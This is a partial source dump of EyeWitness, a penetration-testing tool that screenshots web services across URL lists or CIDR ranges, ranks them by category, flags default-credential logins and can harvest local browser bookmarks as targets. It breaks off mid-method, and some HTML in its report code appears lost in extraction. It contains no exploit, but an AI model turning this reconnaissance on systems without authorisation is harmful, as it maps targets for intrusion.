├── .github └── ISSUE_TEMPLATE.md ├── .gitignore ├── CHANGELOG ├── CS ├── .idea │ └── .idea.EyeWitness │ │ └── .idea │ │ ├── .gitignore │ │ ├── .name │ │ ├── encodings.xml │ │ ├── indexLayout.xml │ │ └── vcs.xml ├── .vs │ └── EyeWitness │ │ └── v16 │ │ ├── .suo │ │ └── Server │ │ └── sqlite3 │ │ ├── db.lock │ │ └── storage.ide ├── EyeWitness.sln ├── EyeWitness │ ├── EyeWitness.csproj │ ├── FodyWeavers.xml │ ├── FodyWeavers.xsd │ ├── Journalist.cs │ ├── Program.cs │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── WebsiteSnapshot.cs │ ├── WitnessedServer.cs │ ├── app.config │ ├── obj │ │ ├── Debug │ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ └── EyeWitness.csproj.AssemblyReference.cache │ │ ├── Release │ │ │ └── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ └── x64 │ │ │ └── Release │ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ │ ├── EyeWitness.csproj.AssemblyReference.cache │ │ │ ├── EyeWitness.csproj.CoreCompileInputs.cache │ │ │ └── EyeWitness.csproj.FileListAbsolute.txt │ └── packages.config └── packages │ ├── CommandLineParser.2.7.82 │ ├── .signature.p7s │ ├── CommandLine20.png │ ├── CommandLineParser.2.7.82.nupkg │ ├── License.md │ ├── README.md │ └── lib │ │ ├── net40 │ │ ├── CommandLine.dll │ │ └── CommandLine.xml │ │ ├── net45 │ │ ├── CommandLine.dll │ │ └── CommandLine.xml │ │ ├── net461 │ │ ├── CommandLine.dll │ │ └── CommandLine.xml │ │ └── netstandard2.0 │ │ ├── CommandLine.dll │ │ └── CommandLine.xml │ ├── Costura.Fody.4.1.0 │ ├── .signature.p7s │ ├── Costura.Fody.4.1.0.nupkg │ ├── build │ │ └── Costura.Fody.props │ ├── lib │ │ └── net40 │ │ │ ├── Costura.dll │ │ │ └── Costura.xml │ └── weaver │ │ ├── Costura.Fody.dll │ │ └── Costura.Fody.xcf │ ├── Fody.6.1.1 │ ├── .signature.p7s │ ├── Fody.6.1.1.nupkg │ ├── License.txt │ ├── build │ │ └── Fody.targets │ ├── netclassictask │ │ ├── Fody.dll │ │ ├── FodyCommon.dll │ │ ├── FodyHelpers.dll │ │ ├── FodyIsolated.dll │ │ ├── Mono.Cecil.Pdb.dll │ │ ├── Mono.Cecil.Pdb.pdb │ │ ├── Mono.Cecil.Rocks.dll │ │ ├── Mono.Cecil.Rocks.pdb │ │ ├── Mono.Cecil.dll │ │ └── Mono.Cecil.pdb │ └── netstandardtask │ │ ├── Fody.dll │ │ ├── FodyCommon.dll │ │ ├── FodyHelpers.dll │ │ ├── FodyIsolated.dll │ │ ├── Mono.Cecil.Pdb.dll │ │ ├── Mono.Cecil.Pdb.pdb │ │ ├── Mono.Cecil.Rocks.dll │ │ ├── Mono.Cecil.Rocks.pdb │ │ ├── Mono.Cecil.dll │ │ └── Mono.Cecil.pdb │ └── Newtonsoft.Json.12.0.3 │ ├── .signature.p7s │ ├── LICENSE.md │ ├── Newtonsoft.Json.12.0.3.nupkg │ ├── lib │ ├── net20 │ │ ├── Newtonsoft.Json.dll │ │ └── Newtonsoft.Json.xml │ ├── net35 │ │ ├── Newtonsoft.Json.dll │ │ └── Newtonsoft.Json.xml │ ├── net40 │ │ ├── Newtonsoft.Json.dll │ │ └── Newtonsoft.Json.xml │ ├── net45 │ │ ├── Newtonsoft.Json.dll │ │ └── Newtonsoft.Json.xml │ ├── netstandard1.0 │ │ ├── Newtonsoft.Json.dll │ │ └── Newtonsoft.Json.xml │ ├── netstandard1.3 │ │ ├── Newtonsoft.Json.dll │ │ └── Newtonsoft.Json.xml │ ├── netstandard2.0 │ │ ├── Newtonsoft.Json.dll │ │ └── Newtonsoft.Json.xml │ ├── portable-net40+sl5+win8+wp8+wpa81 │ │ ├── Newtonsoft.Json.dll │ │ └── Newtonsoft.Json.xml │ └── portable-net45+win8+wp8+wpa81 │ │ ├── Newtonsoft.Json.dll │ │ └── Newtonsoft.Json.xml │ └── packageIcon.png ├── LICENSE ├── Python ├── Dockerfile ├── Dockerfile.el7 ├── Dockerfile.el8 ├── EyeWitness.py ├── MiktoList.py ├── Recategorize.py ├── Search.py ├── bin │ ├── bootstrap.css │ ├── bootstrap.min.css │ ├── bootstrap.min.js │ ├── dataTables.bootstrap4.min.css │ ├── dataTables.bootstrap4.min.js │ ├── dismissauth.xpi │ ├── jquery-3.7.1.min.js │ ├── jquery.dataTables.min.js │ └── style.css ├── categories.txt ├── modules │ ├── __init__.py │ ├── db_manager.py │ ├── helpers.py │ ├── objects.py │ ├── reporting.py │ └── selenium_module.py ├── setup │ ├── requirements.txt │ └── setup.sh └── signatures.txt ├── README.md └── Security.md /.github/ISSUE_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | ## OS Used - ALL Information (architecture, linux flavor, etc.) 2 | 3 | 4 | ## Pastebin link to error you are encountering 5 | 6 | 7 | ## Expected behavior (vs. what you encountered) 8 | 9 | 10 | ## Any additional information 11 | 12 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.pyc 2 | /EyeWitness.sublime-workspace 3 | /EyeWitness.sublime-project 4 | /setup.cfg 5 | *.log -------------------------------------------------------------------------------- /CHANGELOG: -------------------------------------------------------------------------------- 1 | [03.11.2018] 2 | Modified..: Report output now includes Requests.csv which contains the status of the web requests made in the EyeWitness run 3 | 4 | [05.27.2017] 5 | Modified..: DB checks for user agent source code values to not be None prior to running source code comparison 6 | 7 | [11.16.2016] 8 | Released..: 2.3 9 | Added.....: Users can now specify how many times EyeWitness should retry connecting to websites after they've hit the timeout limit. 10 | 11 | [11.03.2016] 12 | Released..: 2.21 13 | Fixed.....: Latest Firefox on Kali requires geckodriver. This is now placed in /usr/sbin during the setup process 14 | 15 | [07.17.2016] 16 | Released..: 2.2 17 | Fixed.....: Replaced feature which allows you to specify extra ports to look for for HTTP or HTTPS services when parsing XML. 18 | Modified..: Modified XML parsing to no longer perform DOM based parsing and switched to SAX based parsing. (this was in a previous release but no changelog entry was made) 19 | 20 | [05.11.2016] 21 | Updated...: Fixed bug in XML parsing (Issue #187). Mac address is now ignored. This value was used instead of the IP when NMap is able to identify the MAC address of the system. 22 | 23 | [10.3.2015] 24 | Updated...: User output changed to reflect the fact EyeWitness scans services, not hosts. Thanks @digininja 25 | Updated...: Create targets now correctly parses for rdp, vnc, and web, not only web. Thanks @digininja for letting us know! 26 | 27 | [6.25.2015] 28 | Fixed.....: Fixed search page links 29 | 30 | [6.15.2015] 31 | Released..: EyeWitness 2.0 released! -------------------------------------------------------------------------------- /CS/.idea/.idea.EyeWitness/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Rider ignored files 5 | /projectSettingsUpdater.xml 6 | /contentModel.xml 7 | /modules.xml 8 | /.idea.EyeWitness.iml 9 | # Editor-based HTTP Client requests 10 | /httpRequests/ 11 | # Datasource local storage ignored files 12 | /dataSources/ 13 | /dataSources.local.xml 14 | -------------------------------------------------------------------------------- /CS/.idea/.idea.EyeWitness/.idea/.name: -------------------------------------------------------------------------------- 1 | EyeWitness -------------------------------------------------------------------------------- /CS/.idea/.idea.EyeWitness/.idea/encodings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /CS/.idea/.idea.EyeWitness/.idea/indexLayout.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /CS/.idea/.idea.EyeWitness/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /CS/.vs/EyeWitness/v16/.suo: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/.vs/EyeWitness/v16/.suo -------------------------------------------------------------------------------- /CS/.vs/EyeWitness/v16/Server/sqlite3/db.lock: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/.vs/EyeWitness/v16/Server/sqlite3/db.lock -------------------------------------------------------------------------------- /CS/.vs/EyeWitness/v16/Server/sqlite3/storage.ide: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSiege/EyeWitness/8a2152657b52e0c4c5ce7d89c7a4c050a6e93ddc/CS/.vs/EyeWitness/v16/Server/sqlite3/storage.ide -------------------------------------------------------------------------------- /CS/EyeWitness.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.31205.134 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EyeWitness", "EyeWitness\EyeWitness.csproj", "{162F9754-3644-46F1-A061-61DE163BFECC}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Debug|x86 = Debug|x86 13 | Release|Any CPU = Release|Any CPU 14 | Release|x64 = Release|x64 15 | Release|x86 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {162F9754-3644-46F1-A061-61DE163BFECC}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 19 | {162F9754-3644-46F1-A061-61DE163BFECC}.Debug|Any CPU.Build.0 = Debug|Any CPU 20 | {162F9754-3644-46F1-A061-61DE163BFECC}.Debug|x64.ActiveCfg = Debug|x64 21 | {162F9754-3644-46F1-A061-61DE163BFECC}.Debug|x64.Build.0 = Debug|x64 22 | {162F9754-3644-46F1-A061-61DE163BFECC}.Debug|x86.ActiveCfg = Debug|Any CPU 23 | {162F9754-3644-46F1-A061-61DE163BFECC}.Debug|x86.Build.0 = Debug|Any CPU 24 | {162F9754-3644-46F1-A061-61DE163BFECC}.Release|Any CPU.ActiveCfg = Release|Any CPU 25 | {162F9754-3644-46F1-A061-61DE163BFECC}.Release|Any CPU.Build.0 = Release|Any CPU 26 | {162F9754-3644-46F1-A061-61DE163BFECC}.Release|x64.ActiveCfg = Release|x64 27 | {162F9754-3644-46F1-A061-61DE163BFECC}.Release|x64.Build.0 = Release|x64 28 | {162F9754-3644-46F1-A061-61DE163BFECC}.Release|x86.ActiveCfg = Release|Any CPU 29 | {162F9754-3644-46F1-A061-61DE163BFECC}.Release|x86.Build.0 = Release|Any CPU 30 | EndGlobalSection 31 | GlobalSection(SolutionProperties) = preSolution 32 | HideSolutionNode = FALSE 33 | EndGlobalSection 34 | GlobalSection(ExtensibilityGlobals) = postSolution 35 | SolutionGuid = {6003E74E-E08A-4696-A303-4AD7BF08436B} 36 | EndGlobalSection 37 | EndGlobal 38 | -------------------------------------------------------------------------------- /CS/EyeWitness/EyeWitness.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | Debug 7 | AnyCPU 8 | {162F9754-3644-46F1-A061-61DE163BFECC} 9 | Exe 10 | EyeWitness 11 | EyeWitness 12 | v4.5 13 | 512 14 | true 15 | 16 | 17 | 18 | 19 | 20 | AnyCPU 21 | true 22 | full 23 | false 24 | bin\Debug\ 25 | DEBUG;TRACE 26 | prompt 27 | 4 28 | false 29 | 30 | 31 | AnyCPU 32 | pdbonly 33 | true 34 | bin\Release\ 35 | TRACE 36 | prompt 37 | 4 38 | false 39 | 40 | 41 | EyeWitness.Program 42 | 43 | 44 | x64 45 | bin\x64\Debug\ 46 | 47 | 48 | x64 49 | bin\x64\Release\ 50 | 51 | 52 | 53 | ..\packages\CommandLineParser.2.7.82\lib\net45\CommandLine.dll 54 | True 55 | 56 | 57 | ..\packages\Costura.Fody.4.1.0\lib\net40\Costura.dll 58 | 59 | 60 | 61 | ..\packages\Newtonsoft.Json.12.0.3\lib\net45\Newtonsoft.Json.dll 62 | 63 | 64 | 65 | 66 | ..\packages\System.Buffers.4.5.1\lib\netstandard1.1\System.Buffers.dll 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | ..\packages\System.Memory.4.5.5\lib\netstandard1.1\System.Memory.dll 75 | 76 | 77 | 78 | ..\packages\IPNetwork2.2.6.427\lib\net45\System.Net.IPNetwork.dll 79 | 80 | 81 | ..\packages\System.Runtime.CompilerServices.Unsafe.4.5.3\lib\netstandard1.0\System.Runtime.CompilerServices.Unsafe.dll 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. 104 | 105 | 106 | 107 | 108 | 109 | -------------------------------------------------------------------------------- /CS/EyeWitness/FodyWeavers.xml: -------------------------------------------------------------------------------- 1 |  2 | 3 | -------------------------------------------------------------------------------- /CS/EyeWitness/FodyWeavers.xsd: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks 13 | 14 | 15 | 16 | 17 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. 18 | 19 | 20 | 21 | 22 | A list of unmanaged 32 bit assembly names to include, delimited with line breaks. 23 | 24 | 25 | 26 | 27 | A list of unmanaged 64 bit assembly names to include, delimited with line breaks. 28 | 29 | 30 | 31 | 32 | The order of preloaded assemblies, delimited with line breaks. 33 | 34 | 35 | 36 | 37 | 38 | This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. 39 | 40 | 41 | 42 | 43 | Controls if .pdbs for reference assemblies are also embedded. 44 | 45 | 46 | 47 | 48 | Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. 49 | 50 | 51 | 52 | 53 | As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. 54 | 55 | 56 | 57 | 58 | Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. 59 | 60 | 61 | 62 | 63 | Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. 64 | 65 | 66 | 67 | 68 | A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | 69 | 70 | 71 | 72 | 73 | A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. 74 | 75 | 76 | 77 | 78 | A list of unmanaged 32 bit assembly names to include, delimited with |. 79 | 80 | 81 | 82 | 83 | A list of unmanaged 64 bit assembly names to include, delimited with |. 84 | 85 | 86 | 87 | 88 | The order of preloaded assemblies, delimited with |. 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. 97 | 98 | 99 | 100 | 101 | A comma-separated list of error codes that can be safely ignored in assembly verification. 102 | 103 | 104 | 105 | 106 | 'false' to turn off automatic generation of the XML Schema file. 107 | 108 | 109 | 110 | 111 | -------------------------------------------------------------------------------- /CS/EyeWitness/Journalist.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | using System.Security; 6 | 7 | 8 | namespace EyeWitness 9 | { 10 | internal class Journalist 11 | { 12 | public string InitialReporter(int page, Dictionary catDict, int totalPages) 13 | { 14 | string html = ""; 15 | if (page == 0) 16 | { 17 | html += @" 18 | 19 |

EyeWitness

20 |
21 | 22 |

"; 23 | 24 | html += "
"; 25 | 26 | foreach (KeyValuePair entry in catDict) 27 | { 28 | if((int)entry.Value.ElementAt(1) != 0) 29 | html += "
"; 31 | } 32 | html += ""; 33 | 34 | html += @"
" + (string)entry.Value.ElementAt(0) + 30 | " " + (int)entry.Value.ElementAt(1) + "
" + "Total Pages Screenshotted" + "" + totalPages + "
35 |

36 | 37 | "; 38 | } 39 | 40 | else 41 | { 42 | html += @" 43 | 44 |
45 | "; 46 | } 47 | 48 | html += "
"; 49 | html += "
Report generated on " + DateTime.Now.ToString("MM-dd-yy @ HH:mm:ss") + "
\n"; 50 | html += "
" + BuildPages(totalPages) + "
\n"; 51 | 52 | return html; 53 | } 54 | 55 | public string Reporter(WitnessedServer incomingServer) 56 | { 57 | string tempHtmlOutput = ""; 58 | tempHtmlOutput += "
"; 59 | tempHtmlOutput += "" + incomingServer.remoteSystem + "\n

"; 60 | tempHtmlOutput += "
Page Title: " + incomingServer.webpageTitle + "
\n\n"; 61 | tempHtmlOutput += "
Headers: \n\n"; 62 | 63 | // Split the header string into lines and make the variable bold 64 | foreach (string line in incomingServer.headers.Split(new[] { Environment.NewLine }, StringSplitOptions.None)) 65 | { 66 | if (line.Contains(":")) 67 | { 68 | string[] element = line.Split(new[] { ':' }, 2, StringSplitOptions.None); 69 | //Escape any bad chars passed as a header 70 | tempHtmlOutput += "
" + SecurityElement.Escape(element[0]) + ": " + SecurityElement.Escape(element[1]); 71 | } 72 | } 73 | 74 | if (incomingServer.defaultCreds != null) 75 | { 76 | tempHtmlOutput += "
" + incomingServer.defaultCreds; 77 | } 78 | 79 | tempHtmlOutput += "

Source Code

\n"; 81 | tempHtmlOutput += "
\n\n"; 84 | 85 | return tempHtmlOutput; 86 | } 87 | 88 | public string CategorizeInitial(string category, WitnessedServer incomingServer) 89 | { 90 | string tempHtmlOutput = ""; 91 | 92 | if (incomingServer.systemCategory != null) 93 | { 94 | tempHtmlOutput += "
"; 95 | tempHtmlOutput += "

" + category + "

"; 96 | tempHtmlOutput += @" 97 | 98 | 99 | 100 | "; 101 | } 102 | 103 | return tempHtmlOutput; 104 | } 105 | 106 | public void FinalReporter(string html, int pageNumber, int pageNumbersTotal, string witnessDir) 107 | { 108 | //string html = ""; 109 | 110 | html += "
Web Request InfoWeb Screenshot

"; //close out the category table and the screenshot/source table 111 | 112 | if (pageNumber != 0) 113 | html += BuildPages(pageNumbersTotal); 114 | 115 | File.WriteAllText(witnessDir + "\\report_page" + pageNumber + ".html", html); 116 | } 117 | 118 | public string BuildPages(int totalPageNumbers) 119 | { 120 | string htmlForPages = ""; 121 | int pageNumbers = (int)Math.Ceiling((double)totalPageNumbers / 25); 122 | 123 | htmlForPages += "

Page 1"; 124 | 125 | for (int page = 2; page <= pageNumbers; page++) 126 | htmlForPages += " Page " + page + " "; 127 | 128 | htmlForPages += "\n

"; 129 | return htmlForPages; 130 | } 131 | } 132 | } 133 | -------------------------------------------------------------------------------- /CS/EyeWitness/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Net; 4 | using System.Threading; 5 | using System.Collections.Generic; 6 | using System.Diagnostics; 7 | using System.Drawing; 8 | using System.Threading.Tasks; 9 | using System.Linq; 10 | using CommandLine; 11 | using CommandLine.Text; 12 | using System.IO.Compression; 13 | using Newtonsoft.Json; 14 | using Newtonsoft.Json.Linq; 15 | 16 | namespace EyeWitness 17 | { 18 | class Program 19 | { 20 | public static string witnessDir = ""; 21 | public static string catCode = ""; 22 | public static string sigCode = ""; 23 | public static string reportHtml = ""; 24 | private const string CatUrl = "https://raw.githubusercontent.com/RedSiege/EyeWitness/master/Python/categories.txt"; 25 | private const string SigUrl = "https://raw.githubusercontent.com/RedSiege/EyeWitness/master/Python/signatures.txt"; 26 | public static Dictionary categoryDict = new Dictionary(); 27 | public static Dictionary signatureDict = new Dictionary(); 28 | public static Dictionary categoryRankDict = new Dictionary(); 29 | private static readonly Semaphore Pool = new Semaphore(2,2); 30 | //private static SemaphoreSlim _pool = new SemaphoreSlim(2); 31 | private static readonly SemaphoreSlim Sourcepool = new SemaphoreSlim(10); 32 | 33 | public class Options 34 | { 35 | public static Options Instance { get; set; } 36 | 37 | // Command line options 38 | [Option('b', "bookmarks", Group = "Input Source", HelpText = "Searches for bookmark files for IE/Chrome, parses them, and adds them to the list of screenshot URLs")] 39 | public bool Favorites { get; set; } 40 | 41 | [Option('f', "file", Group = "Input Source", HelpText = "Specify a new-line separated file of URLs", Default = null)] 42 | public string File { get; set; } 43 | 44 | [Option('i', "cidr", Group = "Input Source", HelpText = "Specify an IP CIDR", Default = null)] 45 | public string IpAddresses { get; set; } 46 | 47 | [Option('o', "output", Required = false, HelpText = "Specify an output directory (one will be created if non-existent)", Default = null)] 48 | public string Output { get; set; } 49 | 50 | [Option('d', "delay", Required = false, HelpText = "Specify a delay to use before cancelling a single URL request", Default = 30)] 51 | public int Delay { get; set; } 52 | 53 | [Option('c', "compress", Required = false, HelpText = "Compress output directory", Default = false)] 54 | public bool Compress { get; set; } 55 | 56 | [Option("http", Required = false, HelpText = "Prepend http:// to all URLs", Default = false)] 57 | public bool http { get; set; } 58 | 59 | [Option( "https", Required = false, HelpText = "Prepend https:// to all URLs", Default = false)] 60 | public bool https { get; set; } 61 | } 62 | 63 | static void DisplayHelp(ParserResult result) 64 | { 65 | var helpText = HelpText.AutoBuild(result, h => 66 | { 67 | h.AdditionalNewLineAfterOption = false; 68 | h.Heading = "EyeWitness C# Version 1.1"; //change header 69 | h.Copyright = ""; //change copyright text 70 | return HelpText.DefaultParsingErrorsHandler(result, h); 71 | }, e => e); 72 | Console.WriteLine(helpText); 73 | System.Environment.Exit(1); 74 | } 75 | 76 | // The main program will handle determining where the output is saved to, it's not the requirement of the object 77 | // the object will look up the location where everything should be saved and write to there accordingly 78 | private static void DirMaker(string output) 79 | { 80 | string witnessPath = null; 81 | 82 | if (output == null) 83 | witnessPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); 84 | else 85 | { 86 | witnessPath = Path.GetFullPath(output); 87 | 88 | if (File.Exists(witnessPath)) 89 | { 90 | Console.WriteLine("Output path already exists, using default location"); 91 | witnessPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); 92 | } 93 | 94 | if (!Directory.Exists(witnessPath)) 95 | { 96 | try 97 | { 98 | Directory.CreateDirectory(witnessPath); 99 | } 100 | catch 101 | { 102 | witnessPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); 103 | } 104 | } 105 | } 106 | 107 | witnessDir = witnessPath + "\\EyeWitness_" + DateTime.Now.ToString("yyyy-MM-dd_HHmmss"); 108 | Directory.CreateDirectory(witnessDir + "\\src"); 109 | Directory.CreateDirectory(witnessDir + "\\images"); 110 | Directory.CreateDirectory(witnessDir + "\\headers"); 111 | } 112 | 113 | private static void DictMaker() 114 | { 115 | // Capture category and signature codes 116 | // Grab here so we only have to do it once and iterate through URLs in Main 117 | // Set TLS v1.2 118 | ServicePointManager.Expect100Continue = true; 119 | ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; 120 | WebClient witnessClient = new WebClient(); 121 | 122 | try 123 | { 124 | catCode = witnessClient.DownloadString(CatUrl); 125 | sigCode = witnessClient.DownloadString(SigUrl); 126 | } 127 | 128 | catch(Exception ex) 129 | { 130 | Console.WriteLine("[*]ERROR: Could not obtain categories and signatures from Github!"); 131 | Console.WriteLine("[*]ERROR: Try again, or see if Github is blocked?"); 132 | Console.WriteLine(ex.Message); 133 | System.Environment.Exit(1); 134 | } 135 | 136 | //Create dictionary of categories 137 | categoryRankDict.Add("highval", new object[] { "High Value Targets", 0 }); 138 | categoryRankDict.Add("virtualization", new object[] { "Virtualization", 0 }); 139 | categoryRankDict.Add("kvm", new object[] { "Remote Console/KVM", 0 }); 140 | categoryRankDict.Add("comms", new object[] { "Communications", 0 }); 141 | categoryRankDict.Add("devops", new object[] { "Development Operations", 0 }); 142 | categoryRankDict.Add("secops", new object[] { "Security Operations", 0 }); 143 | categoryRankDict.Add("appops", new object[] { "Application Operations", 0 }); 144 | categoryRankDict.Add("dataops", new object[] { "Data Operations", 0 }); 145 | categoryRankDict.Add("dirlist", new object[] { "Directory Listings", 0 }); 146 | categoryRankDict.Add("cms", new object[] { "Content Management System (CMS)", 0 }); 147 | categoryRankDict.Add("idrac", new object[] { "IDRAC/ILo/Management Interfaces", 0 }); 148 | categoryRankDict.Add("nas", new object[] { "Network Attached Storage (NAS)", 0 }); 149 | categoryRankDict.Add("netdev", new object[] { "Network Devices", 0 }); 150 | categoryRankDict.Add("voip", new object[] { "Voice/Video over IP (VoIP)", 0 }); 151 | categoryRankDict.Add("None", new object[] { "Uncategorized", 0 }); 152 | categoryRankDict.Add("uncat", new object[] { "Uncategorized", 0 }); 153 | categoryRankDict.Add("crap", new object[] { "Splash Pages", 0 }); 154 | categoryRankDict.Add("printer", new object[] { "Printers", 0 }); 155 | categoryRankDict.Add("camera", new object[] { "Cameras", 0 }); 156 | categoryRankDict.Add("infrastructure", new object[] { "Infrastructure", 0 }); 157 | categoryRankDict.Add("successfulLogin", new object[] { "Successful Logins", 0 }); 158 | categoryRankDict.Add("identifiedLogin", new object[] { "Identified Logins", 0 }); 159 | categoryRankDict.Add("redirector", new object[] { "Redirecting Pages", 0 }); 160 | categoryRankDict.Add("construction", new object[] { "Under Construction", 0 }); 161 | categoryRankDict.Add("empty", new object[] { "No Significant Content", 0 }); 162 | categoryRankDict.Add("unauth", new object[] { "401/403 Unauthorized", 0 }); 163 | categoryRankDict.Add("notfound", new object[] { "404 Not Found", 0 }); 164 | categoryRankDict.Add("badhost", new object[] { "Invalid Hostname", 0 }); 165 | categoryRankDict.Add("inerror", new object[] { "Internal Error", 0 }); 166 | categoryRankDict.Add("badreq", new object[] { "Bad Request", 0 }); 167 | categoryRankDict.Add("badgw", new object[] { "Bad Gateway", 0 }); 168 | categoryRankDict.Add("serviceunavailable", new object[] { "Service Unavailable", 0 }); 169 | 170 | 171 | // Add files to category dictionary 172 | foreach (string line in catCode.Split(new[] { "\r\n", "\r", "\n" }, StringSplitOptions.None)) 173 | { 174 | try 175 | { 176 | string[] splitLine = line.Split('|'); 177 | categoryDict.Add(splitLine[0], splitLine[1]); 178 | } 179 | 180 | catch 181 | { 182 | // line doesn't work, but continue anyway 183 | } 184 | } 185 | 186 | // Add files to signature dictionary 187 | foreach (string line in sigCode.Split(new[] { "\r\n", "\r", "\n" }, StringSplitOptions.None)) 188 | { 189 | try 190 | { 191 | string[] splitLine = line.Split('|'); 192 | signatureDict.Add(splitLine[0], splitLine[1]); 193 | } 194 | 195 | catch 196 | { 197 | // line doesn't work, but continue anyway 198 | } 199 | } 200 | } 201 | 202 | private static async Task ScreenshotSender(WitnessedServer obj, int timeDelay) 203 | { 204 | try 205 | { 206 | //Keep it syncronous for this slow version 207 | //Allow the thread to exit somewhat cleanly before exiting the semaphore 208 | Pool.WaitOne(); 209 | Console.WriteLine("Grabbing screenshot for: " + obj.remoteSystem); 210 | 211 | WebsiteSnapshot websiteSnapshot = new WebsiteSnapshot(obj.remoteSystem); 212 | 213 | try 214 | { 215 | using (Bitmap bitMap = websiteSnapshot.GenerateWebSiteImage(timeDelay)) 216 | { 217 | bitMap?.Save(obj.imgPath); 218 | } 219 | } 220 | catch (AccessViolationException e) 221 | { 222 | Console.WriteLine(e); 223 | } 224 | } 225 | 226 | catch (OperationCanceledException e) 227 | { 228 | Console.WriteLine($"[-] Thread aborted while grabbing screenshot for: {obj.remoteSystem} - {e.Message}"); 229 | } 230 | 231 | catch (SemaphoreFullException) 232 | { 233 | //return; 234 | } 235 | 236 | finally 237 | { 238 | Pool?.Release(); 239 | } 240 | } 241 | 242 | private static async Task SourceSender(WitnessedServer obj) 243 | { 244 | try 245 | { 246 | await Sourcepool.WaitAsync(); 247 | //Cancel after 10s 248 | //This cancellation time isn't as important as the screenshot one so we can hard code it 249 | CancellationTokenSource cts = new CancellationTokenSource(15000); 250 | Console.WriteLine("Grabbing source of: " + obj.remoteSystem); 251 | await obj.SourcerAsync(cts.Token); 252 | obj.CheckCreds(categoryDict, signatureDict); 253 | } 254 | 255 | catch (OperationCanceledException e) 256 | { 257 | Console.WriteLine($"[-] Thread aborted while grabbing source for: {obj.remoteSystem} - {e.Message}"); 258 | } 259 | 260 | catch (SemaphoreFullException) 261 | { 262 | //return; 263 | } 264 | 265 | finally 266 | { 267 | Sourcepool?.Release(); 268 | } 269 | } 270 | 271 | public static void CategoryCounter(WitnessedServer[] urlArray, Dictionary catDict) 272 | { 273 | //Count how many URLs are in each category 274 | foreach (WitnessedServer urlObject in urlArray) 275 | { 276 | if (categoryRankDict.ContainsKey(urlObject.systemCategory)) 277 | categoryRankDict[urlObject.systemCategory][1] = (int)categoryRankDict[urlObject.systemCategory][1] + 1; 278 | } 279 | } 280 | 281 | public static void Writer(WitnessedServer[] urlArray, string[] allUrlArray) 282 | { 283 | 284 | int urlCounter = 0; 285 | int pages = 0; 286 | 287 | Console.WriteLine("\n[*] Writing the reports so you can view as screenshots are taken\n"); 288 | Journalist cronkite = new Journalist(); 289 | 290 | // If it's the first page, do something different 291 | reportHtml = cronkite.InitialReporter(pages, categoryRankDict, allUrlArray.GetLength(0)); 292 | 293 | // Iterate through all objects in the array and build the report; taking into account categories 294 | foreach (KeyValuePair entry in categoryRankDict) 295 | { 296 | int categoryCounter = 0; 297 | 298 | foreach (WitnessedServer witnessedObject in urlArray) 299 | { 300 | try 301 | { 302 | if (witnessedObject.systemCategory == entry.Key) 303 | { 304 | // If this is the first instance of the category, create the HTML table 305 | if (categoryCounter == 0) 306 | { 307 | reportHtml += cronkite.CategorizeInitial((string)entry.Value.ElementAt(0), witnessedObject); 308 | categoryCounter++; 